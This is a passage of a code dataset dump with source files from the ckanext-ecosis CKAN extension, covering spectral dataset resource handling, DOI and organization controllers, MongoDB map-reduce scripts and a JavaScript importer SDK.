"08d1de9a4621c861fba2e24b0b092084653fed92", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 141, "license_type": "no_license", "max_line_length": 40, "num_lines": 10, "path": "/spectra-importer/lib/logic/createPackage.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var SDK;\n\nmodule.exports = function(sdk) {\n SDK = sdk;\n SDK.createPackage = createPackage;\n};\n\nfunction createPackage(data, callback) {\n\n}\n" }, { "alpha_fraction": 0.5394889712333679, "alphanum_fraction": 0.5438443422317505, "avg_line_length": 28.435897827148438, "blob_id": "8dc9493239e8fba4f662b710557114846aa3451e", "content_id": "0f062acb93c782a62447a6131b6511688e3dcb48", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3444, "license_type": "no_license", "max_line_length": 107, "num_lines": 117, "path": "/ckanext/ecosis/controller/admin/upgrade.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import psycopg2, json, re\nfrom ckanext.ecosis.datastore.ckan.package import getPgConn\nfrom ckanext.ecosis.datastore import getCollections\n\n# append the aliases to the search results\ndef run():\n conn = getPgConn()\n\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute((\"select name, p.id, pe.value as aliases from package p join package_extra pe on \"\n \"p.id = pe.package_id where pe.key = 'aliases' and pe.state = 'active'\"))\n packages = cur.fetchall()\n cur.close()\n\n collection = getCollections().get('search_package')\n\n for pkg in packages:\n aliases = json.loads(pkg.get('aliases'))\n pkg['result'] = collection.update(\n {'_id': pkg.get('id')},\n {\n '$set' : {\n 'value.ecosis.spectra_metadata_schema.aliases' : aliases\n }\n }\n )\n\n return packages\n\n# Fix unit bug\ndef fixUnits():\n conn = getPgConn()\n\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute((\"select id from package\"))\n packages = cur.fetchall()\n cur.close()\n\n collection = getCollections().get('resource')\n searchCollection = getCollections().get('search_package')\n\n for pkg in packages:\n query = {\n \"packageId\" : pkg.get('id')\n }\n\n # query workspace resources for package\n sheets = collection.find(query,{\n \"localRange\" : 0,\n \"hash\" : 0,\n \"file\" : 0,\n \"_id\" : 0\n })\n\n units = {}\n\n # loop through all sheets, all attributes\n for sheet in sheets:\n if sheet.get('attributes') is not None:\n for attr in sheet.get('attributes'):\n if attr.get(\"units\") is not None and attr.get(\"units\") != \"\":\n units[attr.get(\"name\")] = attr.get(\"units\")\n\n pkg['result'] = searchCollection.update(\n {'_id': pkg.get('id')},\n {\n '$set' : {\n 'value.ecosis.spectra_metadata_schema.units' : units\n }\n }\n )\n\n return packages\n\ndef fixCitationText():\n conn = getPgConn()\n\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute((\"select * from package_extra where key = 'Citation';\"))\n rows = cur.fetchall()\n cur.close()\n\n pgCount = 0\n for row in rows:\n citation = re.sub(r'Ecosystem', 'Ecological', row.get('value'), flags=re.I)\n\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute((\"update package_extra set value = '%s' where id = '%s';\" % (citation, row.get('id'))))\n conn.commit()\n cur.close()\n\n pgCount += 1\n\n mongoCount = 0\n searchCollection = getCollections().get('search_package')\n results = searchCollection.find({'value.Citation':{'$exists': True}}, {'value.Citation':1})\n for item in results:\n citation = re.sub(r'Ecosystem', 'Ecological', item.get('value').get('Citation')[0], flags=re.I)\n\n searchCollection.update(\n {'_id': item.get('_id')},\n {\n '$set' : {\n 'value.Citation' : [citation]\n }\n }\n )\n\n mongoCount += 1\n\n return {\n 'success' : True,\n 'stats' : {\n 'MongoUpdates' : mongoCount,\n 'PGUpdates' : pgCount\n }\n }\n" }, { "alpha_fraction": 0.6222222447395325, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 22, "blob_id": "6c9e03d96e656375472223bab1bc40cad42df98f", "content_id": "7c692eaba4fac02fb4fd6f05a9c3552bdf33de0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 45, "license_type": "no_license", "max_line_length": 22, "num_lines": 2, "path": "/spectra-importer/tests/mocha/createPackage/index.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "require('./dataset1');\nrequire('./dataset2');" }, { "alpha_fraction": 0.6682286858558655, "alphanum_fraction": 0.6682286858558655, "avg_line_length": 21.16666603088379, "blob_id": "8709891ef369a01db39f99aa75812772fff83bc3", "content_id": "9a9a7718ddedbcfc21af0a7e1e5d324e4c8819bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1067, "license_type": "no_license", "max_line_length": 80, "num_lines": 48, "path": "/ckanext/ecosis/datastore/mapreduce/lookup.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import os\nfrom bson.code import Code\nfrom bson.son import SON\n\n'''\nCreate the keywords typeahead collection\nWill run the lookup mapreduce js functions in MongoDB\n'''\n\n# Read in local js mapreduce files\npath = os.path.dirname(os.path.abspath(__file__))\ncollections = None\nrunning = False\n\nf = open('%s/../mapreduce/lookup_map.js' % path, 'r')\nmapJs = Code(f.read())\nf.close()\n\nf = open('%s/../mapreduce/lookup_reduce.js' % path, 'r')\nreduceJs = Code(f.read())\nf.close()\n\n# inject global dependencies\ndef init(mongoCollections):\n global collections\n collections = mongoCollections\n\ndef update():\n global running\n\n # check if we are already running\n if running:\n return\n\n running = True\n try:\n _update()\n except Exception as e:\n print(\"Error creating lookup index\")\n running = False\n\n# update the filter lookup collection\ndef _update():\n collection = collections.get('search_package')\n try:\n collection.map_reduce(mapJs, reduceJs, out=SON([(\"replace\", \"lookup\")]))\n except Exception as e:\n pass\n\n\n\n" }, { "alpha_fraction": 0.49211356043815613, "alphanum_fraction": 0.4952681362628937, "avg_line_length": 24.399999618530273, "blob_id": "2e9ed56b9bb0482cf193282ddbc8a085207756de", "content_id": "be7bb75c8c3f6ee0c00fdea88e3a2cfb8767b837", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 634, "license_type": "no_license", "max_line_length": 81, "num_lines": 25, "path": "/ckanext/ecosis/datastore/mapreduce/finalize.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "function(key, item) {\n var data = [];\n\n item.tmp__schema__.wavelengths = Object.keys(item.tmp__schema__.wavelengths);\n item.tmp__schema__.metadata = Object.keys(item.tmp__schema__.metadata);\n\n for( var key in item ) {\n\n if( key == 'tmp__schema__' ) continue;\n\n // if at any point we want to level counts, this hash actually has them\n if( typeof item[key] === 'object' ) {\n var tmp = [];\n for( var k2 in item[key] ) {\n tmp.push(k2)\n }\n item[key] = tmp;\n } else {\n item[key] = [item[key]];\n }\n\n }\n\n return item;\n}" }, { "alpha_fraction": 0.6453900933265686, "alphanum_fraction": 0.6453900933265686, "avg_line_length": 22.5, "blob_id": "9ab72716a60231b0f689040bba87c0856d2ccbe3", "content_id": "f8c4a9bf6f29363774264418318fb91e93cf3d3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 141, "license_type": "no_license", "max_line_length": 48, "num_lines": 6, "path": "/spectra-importer/tests/mocha/newSDK.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var SDK = require('../../lib');\nvar config = require('/etc/ecosis/testingConf');\n\nmodule.exports = function() {\n return new SDK(config);\n};\n" }, { "alpha_fraction": 0.6027397513389587, "alphanum_fraction": 0.6027397513389587, "avg_line_length": 17.5, "blob_id": "4b94acf5fd7b1f33989eb6b2f8ede7b29224795a", "content_id": "6945be23a4c8523c40a487de1ae8147be3fd5a9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 73, "license_type": "no_license", "max_line_length": 37, "num_lines": 4, "path": "/ckanext/ecosis/datastore/mapreduce/map.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "function() {\n var key = this.ecosis.package_id;\n emit(key, this);\n}" }, { "alpha_fraction": 0.9074074029922485, "alphanum_fraction": 0.9074074029922485, "avg_line_length": 54, "blob_id": "265b378466af805bff38742c6864e32334107ac6", "content_id": "ac10bb1f00904ec65db17da80034c4145c93cdc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 54, "license_type": "no_license", "max_line_length": 54, "num_lines": 1, "path": "/doi-admin/app/webcomponents-lite.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "bower_components/webcomponentsjs/webcomponents-lite.js" }, { "alpha_fraction": 0.6697530746459961, "alphanum_fraction": 0.6913580298423767, "avg_line_length": 19.3125, "blob_id": "187b1e1f11b11b123f8a0671098e9bca5d864c5c", "content_id": "be78613ecda1a45c99853fd7288f1f9695c83557", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 324, "license_type": "no_license", "max_line_length": 43, "num_lines": 16, "path": "/ckanext/ecosis/lib/aws.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "# from boto3.session import Session\n# from ckan.common import config\n\n\n# ACCESS_KEY = config.get('aws.access_key')\n# SECRET_KEY = config.get('aws.secret_key')\n\n# session = Session(\n# aws_access_key_id=ACCESS_KEY,\n# aws_secret_access_key=SECRET_KEY\n# )\n# s3 = session.resource('s3')\n\nimport boto3\n\ns3 = boto3.client('s3')" }, { "alpha_fraction": 0.6022243499755859, "alphanum_fraction": 0.6036441326141357, "avg_line_length": 25.0864200592041, "blob_id": "f267280803fbaaf9ecd5f5cd8fef356232c4b638", "content_id": "5eaea7e1bf9d9ace09771f4299f3038421c0b029", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4226, "license_type": "no_license", "max_line_length": 100, "num_lines": 162, "path": "/spectra-importer/lib/package/createSchemaMethods.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "// attributes that have a direct mapping to CKAN standard attributes,\n// so they should not be wrapped up in the 'extras' fields. IE, use\n// these functions.\nvar ckanAttriutes = ['Keywords', 'Website', 'Author', 'Author Email',\n'Maintainer Email', 'Maintainer'];\n\nmodule.exports = function(attribute, Package) {\n if( attribute.name === 'Keywords' || attribute.name === 'Website' ) return;\n\n if( attribute.input === 'controlled' ) {\n createControlledInput(attribute, Package);\n } else if( attribute.input === 'split-text' ) {\n createControlledInput(attribute, Package);\n } else if( attribute.input === 'controlled-single' ) {\n createSingleInput(attribute, Package);\n } else if( attribute.input === 'text' || attribute.input === 'latlng' ) {\n createInput(attribute, Package);\n }\n};\n\nfunction createInput(attribute, Package) {\n var name = attribute.name.replace(/ /g, '');\n\n Package.prototype['get'+name] = function() {\n return this.getExtra(attribute.name);\n };\n\n Package.prototype['set'+name] = function(value) {\n this.setExtra(attribute.name, value+'');\n this._onUpdate(attribute.name);\n };\n}\n\nfunction createSingleInput(attribute, Package) {\n var name = attribute.name.replace(/ /g, '');\n\n Package.prototype['get'+name] = function() {\n return this.getExtra(attribute.name);\n };\n\n Package.prototype['set'+name] = function(value) {\n var t = tokenize(value);\n\n for( var i = 0; i < attribute.vocabulary.length; i++ ) {\n if( tokenize(attribute.vocabulary[i]) === t ) {\n this.setExtra(attribute.name, attribute.vocabulary[i]);\n this._onUpdate(attribute.name);\n return;\n }\n }\n\n if( attribute.allowOther ) {\n this.setExtra(attribute.name, 'Other');\n this.setExtra(attribute.name+' Other', value);\n this._onUpdate(attribute.name);\n } else {\n this.setExtra(attribute.name, '');\n }\n };\n\n if( attribute.allowOther ) {\n Package.prototype['get'+name+'Other'] = function() {\n return this.getExtra(attribute.name+' Other');\n };\n }\n}\n\nfunction createControlledInput(attribute, Package) {\n var name = attribute.name.replace(/ /g, '');\n\n Package.prototype['get'+name] = function() {\n var attr = this.getExtra(attribute.name);\n if( !attr ) return [];\n return attr.split(',').map(cleanTerm);\n };\n\n if( attribute.allowOther ) {\n Package.prototype['get'+name+'Other'] = function() {\n var attr = this.getExtra(attribute.name+' Other');\n if( !attr ) return [];\n return attr.split(',').map(cleanTerm);\n };\n }\n\n Package.prototype['set'+name] = function(value) {\n if( !value ) {\n this.setExtra(attribute.name, null);\n if( attribute.allowOther ) {\n this.setExtra(attribute.name+' Other', null);\n }\n\n this._onUpdate(attribute.name);\n return;\n }\n\n var terms;\n if( !Array.isArray(value) ) {\n value = value+'';\n terms = value.split(',');\n } else {\n terms = value;\n }\n\n terms = terms.map(cleanTerm);\n\n if( attribute.input === 'controlled' ) {\n var values = getValues(terms, attribute.vocabulary);\n\n if( attribute.allowOther && values.other.length > 0 && values.valid.indexOf('Other') == -1 ) {\n values.valid.push('Other');\n }\n\n this.setExtra(attribute.name, values.valid.join(', '));\n if( attribute.allowOther ) {\n this.setExtra(attribute.name+' Other', values.other.join(', '));\n }\n\n } else if( attribute.input === 'split-text' ) {\n this.setExtra(attribute.name, terms.join(', '));\n }\n\n this._onUpdate(attribute.name);\n };\n}\n\nfunction cleanTerm(txt) {\n return txt.trim();\n}\n\nfunction getValues(terms, vocabulary) {\n var valid = [];\n var other = [];\n\n var map = {};\n vocabulary.forEach(function(name){\n map[tokenize(name)] = name;\n });\n\n var t;\n for( var i = 0; i < terms.length; i++ ) {\n t = tokenize(terms[i]);\n\n if( map[t] ) {\n if( valid.indexOf(map[t]) === -1 ) {\n valid.push(map[t]);\n }\n } else {\n if( other.indexOf(map[t]) === -1 ) {\n other.push(terms[i].trim());\n }\n }\n }\n\n return {\n valid : valid,\n other : other\n };\n}\n\nfunction tokenize(name) {\n return name.toLowerCase().replace(/\\s/g, '');\n}\n" }, { "alpha_fraction": 0.5479274392127991, "alphanum_fraction": 0.5556994676589966, "avg_line_length": 21.705883026123047, "blob_id": "7e941f2593b991d71a56b99efdd75d5302ceb9a4", "content_id": "47171a7747e5043f56bbe28308b9cfd5842a02ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 772, "license_type": "no_license", "max_line_length": 69, "num_lines": 34, "path": "/spectra-importer/utils/metadata/specchio_old/parseMeta.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var fs = require('fs');\n\nvar contents = fs.readFileSync('./metadata.csv','utf-8');\ncontents = contents.split('\\n');\n\nvar json = {};\nfor( var i = 1; i < contents.length; i++ ) {\n var c = contents[i].replace(/%/g,'Percent').split(',');\n json[c[1]] = {\n cat : c[3],\n type : c[6].replace(/_val/,'')\n };\n}\n\nfs.writeFileSync('../../public/metadata.json', JSON.stringify(json));\n\n\nvar byCat = {};\nfor( var key in json ) {\n\tvar item = json[key];\n\n\tif( !byCat[item.cat] ) byCat[item.cat] = [];\n\tbyCat[item.cat].push(key);\n}\n\nvar template = '';\nfor( var key in byCat ) {\n\ttemplate += key+'\\n';\n\tfor( var i = 0; i < byCat[key].length; i++ ) {\n\t\ttemplate += byCat[key][i]+'=\\n';\n\t}\n\ttemplate += '\\n';\n}\nfs.writeFileSync('../../public/metadata_map', template);\n" }, { "alpha_fraction": 0.6804392337799072, "alphanum_fraction": 0.681537389755249, "avg_line_length": 31.81531524658203, "blob_id": "4e3060f63d25e43958d7ec2dbc2c85be12858204", "content_id": "5d462e499649f956433899e8154e9a45b05e8b30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7285, "license_type": "no_license", "max_line_length": 126, "num_lines": 222, "path": "/ckanext/ecosis/controller/resource/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import os, json, re\n\n# from ckan.common import request, response\nfrom ckan.common import request, config\nfrom ckan.lib.base import c, model\nimport ckan.logic as logic\nimport ckan.lib.uploader as uploader\n\nimport ckanext.ecosis.lib.utils as utils\nfrom ckanext.ecosis.lib.auth import hasAccess\nimport ckanext.ecosis.datastore.delete as deleteUtil\nimport ckanext.ecosis.datastore.query as query\nimport ckanext.ecosis.datastore.workspace as workspace\nfrom ckanext.ecosis.lib.utils import jsonStringify\nfrom ckanext.ecosis.controller.package.doi import hasAppliedDoi\nfrom ckanext.ecosis.datastore.ckan import resource as ckanResourceQuery\n\nfrom flask import make_response\n\nparseOptions = [\"ignore\", \"layout\", \"metadata\", \"joinOn\", \"separator\"]\n\n# delete are resource\n# By default, CKAN keeps resources on disk after they are deleted. EcoSIS does not.\ndef delete():\n params = utils.get_request_data(request)\n\n # remove resource from disk - normally this doesn't happen\n resp = _delete(params)\n\n return resp\n\n# Single HTTP call for deleting multiple resources\ndef deleteMany():\n ids = request.get_json().get('ids')\n\n resp = []\n for id in ids:\n resp.append(_delete({'id': id}))\n\n return resp\n\n# Actually delete a resource\ndef _delete(params):\n # remove resource from disk - normally this doesn't happen\n context = {'model': model, 'user': c.user}\n resource = logic.get_action('resource_show')(context, params)\n\n # if package has DOI applied, resources cannot be modified\n if hasAppliedDoi(resource.get('package_id')):\n return {'error':True, 'message':'Cannot delete resource of package with applied DOI'}\n\n # this will fire error if user does not have access\n logic.get_action('resource_delete')(context, params)\n id = params.get('id')\n\n # if the resource is a file upload, remove from disk\n if resource.get('url_type') == \"upload\":\n upload = uploader.ResourceUpload(resource)\n path = upload.get_path(resource['id'])\n if os.path.exists(path):\n os.remove(path)\n\n # remove resource from EcoSIS\n deleteUtil.resource(resource.get(\"package_id\"), id)\n\n params['success'] = True\n return params\n\n# create new resource for dataset\ndef create():\n response.headers[\"Content-Type\"] = \"application/json\"\n\n request_data = dict(request.POST)\n\n # if the dataset has a DOI applied, you cannot add new resources\n if hasAppliedDoi(request_data.get('package_id')):\n return {'error': True, 'message': 'Cannot add resources to package with applied DOI'}\n\n # run the default CKAN create resource logic\n context = {'model': model, 'user': c.user}\n resource_create = logic.get_action('resource_create')\n resp = resource_create(context, request_data)\n\n return json.dumps({\n 'result' : resp,\n 'success' : True\n })\n\n# process a resource\n# this will be given a set of options, then parse the measurement data or metadata out of\n# the resource based on this options\ndef process():\n package_id = request.form.get('package_id')\n hasAccess(package_id)\n\n if hasAppliedDoi(package_id):\n return {'error':True, 'message':'Cannot edit resource of package with applied DOI'}\n\n sheet_id = request.form.get('sheet_id')\n resource_id = request.form.get('resource_id')\n ids = request.form.get('resource_ids')\n\n if sheet_id == \"\":\n sheet_id = None\n\n try:\n options = json.loads(request.form.get('options'))\n except:\n options = {}\n\n return _process(package_id, sheet_id, resource_id, ids, options)\n\n\ndef _process(package_id, sheet_id, resource_id, ids, options):\n # option, if a resource id and a datasheet id are passed, then the full 'merged' view will be return\n # only allow specified options\n safeOptions = {}\n for option in parseOptions:\n if option in options:\n safeOptions[option] = options[option]\n\n # see if we are editing multiple files or just one\n result = []\n if ids is not None:\n ids = json.loads(ids)\n for resource_id in ids:\n workspace.prepareFile(package_id, resource_id, sheet_id, safeOptions)\n result.append(query.getResource(resource_id))\n else:\n workspace.prepareFile(package_id, resource_id, sheet_id, safeOptions)\n result = query.getResource(resource_id, sheet_id)\n\n # update the dataset, so the metadata timestamp changes\n context = {'model': model, 'user': c.user}\n pkg = logic.get_action('package_show')(context, {'id': package_id})\n\n # use this counter to poke the dataset. This will update the last modified timestamps\n # required for 'updated since last pushed UI'\n resourceUpdateCount = utils.getPackageExtra('resourceUpdateCount', pkg)\n if resourceUpdateCount is None:\n resourceUpdateCount = 1\n else:\n resourceUpdateCount = int(resourceUpdateCount) + 1\n utils.setPackageExtra('resourceUpdateCount', resourceUpdateCount, pkg)\n pkg = logic.get_action('package_update')(context, pkg)\n\n result = {\n 'metadata_modified' : pkg.get('metadata_modified'),\n 'result' : result\n }\n\n return result\n\n# get a specific resource\n# optional sheet id, it the resource has multiple sheets (excel file)\ndef get():\n pid = request.params.get('package_id')\n rid = request.params.get('resource_id')\n sid = request.params.get('sheet_id')\n\n if sid == \"\":\n sid = None\n\n hasAccess(pid)\n\n return query.getResource(rid, sid)\n\n# a get a row or column (depending on sheet orientation) of a resource file\n# index is the row/column to retrieve\ndef getMetadataChunk():\n\n package_id = request.params.get('package_id')\n resource_id = request.params.get('resource_id')\n sheet_id = request.params.get('sheet_id')\n\n if sheet_id == \"\":\n sheet_id = None\n\n return query.getMetadataChunk(package_id, resource_id, sheet_id, _getIndex())\n\n# get overview information for file, like number of rows/columns (chunks)\n# also returns number of join rows/columns if metadata resource type\ndef getMetadataInfo():\n\n package_id = request.params.get('package_id')\n resource_id = request.params.get('resource_id')\n sheet_id = request.params.get('sheet_id')\n\n if sheet_id == \"\":\n sheet_id = None\n\n return query.getMetadataInfo(package_id, resource_id, sheet_id)\n\n# get the number of spectra measurements found in the file\ndef getSpectraCount():\n package_id = request.params.get('package_id')\n resource_id = request.params.get('resource_id')\n sheet_id = request.params.get('sheet_id')\n\n if sheet_id == \"\":\n sheet_id = None\n\n return query.total(package_id, resource_id, sheet_id)\n\ndef getByName(package_id, resource_name):\n resource = ckanResourceQuery.getByName(package_id, resource_name)\n url = resource['url'];\n\n # ckan 2.9 doesn't seem to return full url...\n if not re.match(r'^https?', url, re.I):\n url = \"%s/dataset/%s/resource/%s/download/%s\" % (config.get('ckan.site_url'), package_id, resource['id'], resource_name)\n\n headers = {\"Location\": url}\n return make_response((\"Redirecting\", 307, headers))\n\n# helper for getting index as int\ndef _getIndex():\n index = request.params.get('index')\n if index is None:\n return 0\n else:\n return int(index)\n" }, { "alpha_fraction": 0.6424298286437988, "alphanum_fraction": 0.644730806350708, "avg_line_length": 26.51898765563965, "blob_id": "252e705a07145db7a37be9089cf2bd01da34757c", "content_id": "e980d19efbf06467ce12d343896c3f2bb4b51019", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2173, "license_type": "no_license", "max_line_length": 81, "num_lines": 79, "path": "/ckanext/ecosis/controller/organization/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from ckan.lib.base import c, model\nfrom ckanext.ecosis.datastore import delete as deleteUtil\nimport ckan.logic as logic\nfrom ckan.common import config\n# from ckan.common import response\nimport urllib, jwt, json\n\nremote_hosts = config.get('ecosis.remote_hosts', '')\nremote_hosts = [x.strip() for x in remote_hosts.split(',')]\nsecret = config.get('ecosis.jwt.secret')\nNotFound = logic.NotFound\ncollections = None\n\n\n# inject global dependencies\ndef init(co):\n global collections\n collections = co\n\n# delete organization\n# when org is deleted, we need to remove all of organizations datasets\ndef delete(group):\n # # first, get a list of all organizations datasets\n # group = model.Group.get(id)\n #\n # if group is None:\n # raise NotFound('Organization was not found.')\n\n datasets = []\n for pkg in group.packages(with_private=True):\n datasets.append(pkg.id)\n\n # now perform normal delete\n # this should check auth\n # context = {'model': model, 'user': c.user}\n # logic.get_action('organization_delete')(context, {'id': id})\n\n # EcoSIS package delete happens here\n for package_id in datasets:\n deleteUtil.package(package_id)\n\n # notify remote hosts of change\n notify_remotes(group.id, True)\n\n\n# update search (MongoDB) org name when organization is updated\ndef update(org):\n name = org.title\n id = org.id\n\n collections\\\n .get('search_package')\\\n .update_many(\n {\"value.ecosis.organization_id\": id},\n { \"$set\" : {\"value.ecosis.organization\": name} }\n )\n\n # notify remote hosts of change\n notify_remotes(id, False)\n\n\ndef notify_remotes(organization_id, deleted=False):\n msg = {\n \"id\": organization_id,\n \"deleted\" : deleted\n }\n\n token = jwt.encode({\"id\": organization_id}, secret, algorithm='HS256')\n msg = json.dumps(msg)\n\n\n for url in remote_hosts:\n try:\n req = urllib2.Request(url, msg, {'Content-Type': 'application/json'})\n req.add_header('x-ecosis-signature', token)\n urllib2.urlopen(req)\n # ignore response, we don't care\n except Exception as e:\n pass" }, { "alpha_fraction": 0.6746666431427002, "alphanum_fraction": 0.6746666431427002, "avg_line_length": 24, "blob_id": "5c62f4197b4edf326dbf52f6ceefb0fcb98b2dc3", "content_id": "2b295bc5326a091888ac91154c3113a1550e9b00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 375, "license_type": "no_license", "max_line_length": 56, "num_lines": 15, "path": "/ckanext/ecosis/datastore/utils/mongo.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "# mongo driver hacks\n# TODO: this needs to go away when the driver sucks less\n\n\ndef count(collection, query):\n try:\n return collection.count(query)\n except:\n return collection.find(query).count()\n\ndef distinct(collection, key, query):\n try:\n return collection.distinct(key, query)\n except:\n return collection.find(query).distinct(key)\n" }, { "alpha_fraction": 0.6757457852363586, "alphanum_fraction": 0.6835278868675232, "avg_line_length": 27.574073791503906, "blob_id": "cdd0569b2247515a0f19cd62f88ccef9b446ae47", "content_id": "f5c4aafd18a32d3ef93fe9f05fe8dc465d2fb4d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1542, "license_type": "no_license", "max_line_length": 127, "num_lines": 54, "path": "/ckanext/ecosis/datastore/ckan/resource.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import psycopg2.extras, psycopg2\n\nconnStr = None\n\n# inject global dependencies\ndef init(pgConn):\n global connStr\n connStr = pgConn\n\n# get a resource with out the requirement of a authenticated in HTTP request\ndef get(resource_id):\n conn = psycopg2.connect(connStr)\n\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute(\"select * from resource where id = %s\", (resource_id,))\n resource = cur.fetchall()\n cur.close()\n\n if len(resource) == 0:\n raise Exception('Invalid resource ID')\n else:\n resource = resource[0]\n\n conn.close()\n\n return resource\n\n# get a resource by name and package with out the requirement of a authenticated in HTTP request\ndef getByName(package_id, resource_name):\n conn = psycopg2.connect(connStr)\n\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute(\"select * from resource where name = %s and package_id = %s and state = 'active'\", (resource_name, package_id))\n resource = cur.fetchall()\n cur.close()\n\n if len(resource) == 0:\n return None\n else:\n resource = resource[0]\n\n conn.close()\n\n return resource\n\n# get all active resources for a package\ndef active(package_id):\n conn = psycopg2.connect(connStr)\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute(\"select * from resource where state = 'active' and url_type = 'upload' and package_id = %s\", (package_id,))\n results = cur.fetchall()\n cur.close()\n conn.close()\n return results" }, { "alpha_fraction": 0.6797385811805725, "alphanum_fraction": 0.6804648041725159, "avg_line_length": 25, "blob_id": "10eb133c66c6c961fb92f3e028eac83b1e341fc6", "content_id": "9b6ccf0a29e7661b4c1857f5d00768686c19198b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1377, "license_type": "no_license", "max_line_length": 90, "num_lines": 53, "path": "/ckanext/ecosis/controller/spectra/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import json\n\nfrom ckan.common import request\n\nimport ckanext.ecosis.datastore.query as query\nfrom ckanext.ecosis.datastore.vocab import top\nfrom ckanext.ecosis.datastore.vocab import gcmd\n\n# get a spectra measurement with joined metadata\ndef get():\n package_id = request.params.get('package_id')\n resource_id = request.params.get('resource_id')\n sheet_id = request.params.get('sheet_id')\n\n return query.get(package_id, resource_id, sheet_id, _getIndex(), showProcessInfo=True)\n\n# get TOP suggestions for given attribute name\ndef suggestAttributeName():\n name = request.params.get('name')\n if name is None:\n name = \"\"\n\n return top.suggest(name)\n\n# for a list of attributes of a spectra, returns attributes which might\n# have TOP suggestions\ndef suggestOverview():\n params = {\n 'names' : request.form.get('names')\n }\n if params.get('names') is None:\n params['names'] = request.params.get('names')\n\n if params.get('names') is None:\n raise Exception('Name list not provided')\n\n return top.overview(json.loads(params.get('names')))\n\n# Query NASA GCDM vocab\ndef suggestGCMD():\n query = request.params.get('query')\n if query is None:\n query = \"\"\n\n return gcmd.suggest(query)\n\n\ndef _getIndex():\n index = request.params.get('index')\n if index is None:\n return 0\n else:\n return int(index)" }, { "alpha_fraction": 0.6734007000923157, "alphanum_fraction": 0.6734007000923157, "avg_line_length": 14.684210777282715, "blob_id": "1085ae2ce5912afc7934fd55bfb0f028716b820e", "content_id": "04b8b85452a16ec4790a3b7fc15441c873e5e0c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 297, "license_type": "no_license", "max_line_length": 40, "num_lines": 19, "path": "/ckanext/ecosis/user_data/paster.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import click\n\n# ckan ecosis initdb -c\nname = 'ecosis'\n\[email protected]()\ndef ecosis():\n \"\"\"Database management commands.\n \"\"\"\n pass\n \[email protected](\n name=u'initdb',\n short_help=u'Initialize ecosis tables'\n)\ndef initdb():\n u'''Initialize ecosis tables'''\n from .model import setup\n setup()" }, { "alpha_fraction": 0.5673911571502686, "alphanum_fraction": 0.5700526237487793, "avg_line_length": 34.70588302612305, "blob_id": "56d08105e7fe0d00a954bf542790650b5ac2a00f", "content_id": "68b98cecd34dadc32ef27866148688d203d5d024", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15781, "license_type": "no_license", "max_line_length": 242, "num_lines": 442, "path": "/ckanext/ecosis/controller/package/doi.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from ckan.lib.base import c, model\nimport ckan.logic as logic\nfrom ckan.lib.email_notifications import send_notification\nfrom ckan.common import config\n# from ckan.common import request, response\nfrom ckan.common import request\nimport json, datetime, psycopg2, urllib, base64\nfrom dateutil import parser\nfrom ckanext.ecosis.datastore.push import Push\nfrom ckanext.ecosis.lib.utils import setPackageExtra, getPackageExtra\nfrom ckanext.ecosis.lib.auth import isAdmin\nfrom ckanext.ecosis.datastore.ckan import package\nimport 